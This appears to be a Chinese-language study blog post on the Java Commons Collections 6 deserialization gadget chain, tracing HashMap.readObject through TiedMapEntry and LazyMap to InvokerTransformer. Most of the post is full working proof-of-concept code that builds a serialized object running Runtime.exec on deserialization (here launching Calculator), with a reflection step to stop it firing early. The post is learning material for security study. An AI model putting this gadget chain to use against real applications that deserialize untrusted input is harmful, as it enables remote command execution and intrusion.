前言
前面我们学习了CC1这条链,并了解了利用TransformedMap和LazyMap的两种利用方法,但我们也提到在Java8u71及以后,由于AnnotationInvocationHandler类的readObject方法逻辑变了,导致CC1实际上失效了;本次我们就来学习CC6,这条链在高版本JDK上仍然可用。阅读本篇文章前建议先阅读之前学习URLDNS和CC1的文章(我感觉CC6有点像CC1和URLDNS融合)。
回顾
在CC1中我们知道了LazyMap这个类的get方法可以执行transform方法进而执行命令:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
在CC1中我们通过构建动态代理对象并通过执行其中的invoke方法来调用到了get方法,在高版本中既然此法走不通了,那我们只能寻找其他调用了get方法的点了。
TiedMapEntry
这里我们发现org.apache.commons.collections.keyvalue.TiedMapEntry
的getValue⽅法 中调⽤了 this.map.get ,⽽其hashCode⽅法中又调⽤了getValue⽅法
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getKey() {
return key;
}
public Object getValue() {
return map.get(key);
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
}
到这里,我们获得了一条调用链:
TiedMapEntry.hashCode() ---> TiedMapEntry.getValue() ---> LazyMap.get() ---> Transformer.transform()
到这里,提到hashCode()函数,我们应该已经感觉很熟悉了,没错,之前我们在URLDNS那条链里面就用过这个函数了,我们知道HashMap这个类实现了自己的readObject方法,并在readObject里面对HashMap里面的每个key都执行了
putVal(hash(key), key, value, false, false);
而hash函数的实现中正利用到了hashCode()函数:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
由此,我们便初步得到了一条执行链:
HashMap.readObject() ---> HashMap.hash() ---> TiedMapEntry.hashCode() ---> TiedMapEntry.getValue() ---> LazyMap.get() ---> Transformer.transform()
POC
由上,我们可以想当然的构造出一个POC:
package CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException{
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry mapentry = new TiedMapEntry(lazymap, 'a');
hashmap.put(mapentry,'b');
serialize(hashMap);
unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
Object obj = ois.readObject();
return obj;
}
}
但是这里学过之前URLDNS链的就知道,其实HashMap的put操作中,已经调用了一次hash()方法了。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
所以这导致还没到反序列化的那步就会触发命令执行了,造成了非预期的结果。这里解决方法也类似于之前URLDNS的,在put之后再通过反射修改属性值,我们先修改TiedMapEntry的map属性为一个空的HashMap,put后再修改为lazymap,修改核心代码如下:
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry mapentry = new TiedMapEntry(new HashMap(), 'a');
hashmap.put(mapentry,'b');
Field mapfield = TiedMapEntry.class.getDeclaredField("map");
mapfield.setAccessible(true);
mapfield.set(mapentry,lazymap);
serialize(hashMap);
unserialize();
最终POC为:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry mapentry = new TiedMapEntry(new HashMap(), 'a');
hashMap.put(mapentry,'b');
Field mapfield = TiedMapEntry.class.getDeclaredField("map");
mapfield.setAccessible(true);
mapfield.set(mapentry,lazymap);
serialize(hashMap);
unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
Object obj = ois.readObject();
return obj;
}
}